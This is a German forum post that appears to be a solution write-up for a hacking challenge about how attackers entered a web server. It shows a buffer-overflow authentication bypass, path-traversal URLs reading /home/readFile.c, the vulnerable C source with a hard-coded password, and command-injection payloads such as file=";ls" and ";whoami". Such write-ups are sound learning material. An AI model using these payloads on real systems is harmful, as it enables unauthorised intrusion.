1. Wie konnten die Angreifer ursprünglich auf das System gelangen (bedenken Sie, dass die Angreifer zunächst keinen Konsolenzugriff auf das System hatten)?
Wichtige Hinweise:
Diesbezüglich wurden Sie darüber unterrichtet, dass die verantwortlichen Administratoren des Öfteren Passwörter in geschützten Bereichen unverschlüsselt ablegen. Sie wissen, dass Schwachstellen häufig in Webanwendungen zu finden sind und vermuten daher, dass dort der Einfallsvektor liegen könnte.
Die Lösung (vielleicht):
Auf der infiltrierten Website gibt es einen Customer Access, wo man ein Passwort und seine Customer ID eingeben muss. Gibt man falsche Daten ein, bekommt man ein semitransparentes Overlay mit der Meldung Access denied! Interessant ist dabei aber, dass die Daten via GET übertragen werden, sodass die URL nun originalIndex.php?password=asd&file=asd lautet. Hier ist es also möglich, die Parameter direkt manipulieren zu können, ohne die Header ständig neu senden zu müssen.
Jetzt kann man mal etwas rumprobieren und ein paar Standards testen, z.B. originalIndex.php?password=;&file=asd (Semikolon als Parameterwert für password). Das führt uns zu der Fehlermeldung Usage: /home/readFile <password> <file>
Das sagt uns, dass ein kompiliertes Programm die eingegebenen Parameter empfängt und damit arbeitet. Da das Programm mit dem Semikolon als Wert nichts anfangen konnte, wurde der o.g. Fehler geworfen. Außerdem wissen wir nun, dass das Programm direkt im Verzeichnis /home/ abgelegt ist. Nun könnte man sich natürlich auf den Server schalten und sich das Programm in der Konsole anschauen. Da das die Angreifer aber auch nicht machen konnten, versuchen wir weiterhin über die Website auf den Server zu kommen.
Gängige Praxis ist die Verwendung von C-Programmen. Im Endeffekt muss man hier einfach raten und einige Dinge ausprobieren, aber ich bin relativ schnell zum Ergebnis gekommen. Wenn man erst einmal weiß, dass es darum geht, ein Programm derart zu manipulieren, dass ein ungewollter Zustand entsteht, ist der Rest Trial'n'Error.
Wenn es darum geht, ein C-Programm zu manipulieren, fällt mir als erstes immer Buffer Overflow ein. Heißt, wir packen so viele Bytes wie nötig in das Programm, sodass der reservierte Bereich überläuft, benachbarte Speicher überschreibt und das Programm nicht mehr korrekt funktioniert. Da wir nicht wissen, wie viele Bytes für die Benutzereingabe des Passwortes reserviert wurden, müssen wir halt probieren: originalIndex.php?password=aaa&file=asd, dann mit 4x a usw. Insgesamt bringen 29 Zeichen den Speicher letztendlich zum Überlaufen. Und siehe da: wie bekommen keine Access denied! Meldung mehr, die Authentifizierung scheint also geklappt zu haben!
Der zweite Parameter file beinhaltet wohl die Pfadangabe zu einer Datei. Nun versuchen wir, diesen zu manipulieren und prüfen, ob ein sog.
Please Login HERE or Register HERE to see this link!
möglich ist. Probieren wir also, die Website in der Website aufzurufen: originalIndex.php?password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaa&file=
../originalIndex.php
Das klappt, wir haben durch ausprobieren raus gefunden, dass wir hierzu einen Verzeichnisschritt zurückspringen müssen (../). Offensichtlich zeigt also das Programm die über den Parameter file angegebene Datei an. Da wir aus der o.g. Fehlermeldung wissen, wo die Programmdatei abgelegt ist, wollen wir diese nun auslesen: originalIndex.php?password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaa&file=../../../../home/readFile
Die Anzahl der Rückwärtsschritte (../) findet man ebenfalls durch ausprobieren heraus. Letztendlich muss man ins Root-Verzeichnis des Servers kommen und kann dann von dort in das /home/ Verzeichnis wechseln. Wir bekommen mit dem Angriff oben nun den kompilierten Quelltext des Programms angezeigt und da steht das Passwort auch schon im Klartext drin. Schöner wird's wenn man sich die dummerweise ebenfalls zugängliche nicht kompilierte Datei anschaut (einfach mal getestet und tatsächlich war die da^^): originalIndex.php?password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaa&file=../../../../home/readFile.c
#include #include #include int auth(char *password) { int authenticated = 0; char passwordBuffer[16]; strcpy(passwordBuffer, password);
if(strcmp(passwordBuffer, "hIWndje726/=dn23nGd") == 0) authenticated = 1; return authenticated; } int main(int argc, char *argv[]) {
if(argc < 3) { printf("Usage: %s <password> <file>", argv[0]); exit(0); } if(auth(argv[1]) != 0) { char cmd[80] = "cat ";
strcat(cmd, argv[2]); system(cmd); } else { printf("Access denied!"); } }
Nun kann man auch schön den Buffer Overflow nachvollziehen (passwordBuffer[16]; strcpy(passwordBuffer, password) und sieht das Passwort auch im Klartext:
strcmp(passwordBuffer, "hIWndje726/=dn23nGd")
Zudem bekommen wir einen weiteren wertvollen Hinweis aus dem Quelltext:
char cmd[80] = "cat ";
strcat(cmd, argv[2]);
system(cmd);
Hier wird das zweite Argument (argv[2]) also der zweite Parameter (normalerweise der Pfad zu einer Datei) mit dem String "cat " verknüpft und ausgeführt! Der Linux-Befehl cat gibt Dateiinhalt auf der Konsole aus, daher war es uns auch möglich, die C-Quelldatei auszulesen bzw. anzuzeigen. Ich habe das genutzt, um mich mit
Please Login HERE or Register HERE to see this link!
etwas auf dem Server umzusehen.
Dazu müssen wir aus dem vorgegebenen Befehl ausbrechen! Ich habe zuerst meine weiteren Linux-Befehle mit der Pipe verknüpft, das ist syntaktisch aber unsauber (geht aber auch). Also lieber den cat-Befehl ordentlich beenden und einen weiteren Befehl anschließen: file=../../../../home/readFile.c";ls"
Dies führt im Programm zum Aufruf "cat " + "../../../../home/readFile.c"; ls"" was letztendlich zur folgenden Befehlskette führt:
cat ../../../../home/readFile.c
ls
Also zuerst die Datei ausgeben, danach den Verzeichnisinhalt auflisten (ls). Damit's übersichtlicher wird, hab ich den eigentlichen Dateipfad leer gelassen, damit keine Ausgabe erfolgt: file=";ls" führt zur Auflistung aller Dateien und Ordner im Verzeichnis: index.html insurances originalIndex.php
file=";ls /home/" führt zur Auflistung des /home/ Verzeichnisses: hackedData hacker readFile readFile.c root
file=";ls /home/hackedData" ergibt: flagImage.jpg hackedPasswords.txt
usw.
Der Rest ist dann Linux Grundwissen, um sich so durch den Server zu navigieren und Dateien anzuzeigen. Etwas fies ist, dass wir mit dem Benutzer www-data unterwegs sind (siehe file=";whoami"), der nur Rechte für den Apache Webserver (also document root bzw. /var/www) hat.
Wenn das oben ermittelte Passwort auch gleichzeitig das Root-Passwort des Servers war, war die Serverübernahme für die Angreifer natürlich einfach. Oder aber das eigentliche Root-Passwort ist noch in irgendeiner Datei abgelegt, die ich bislang noch nicht gefunden habe. Vielleicht hat's ja einer schon rausbekommen?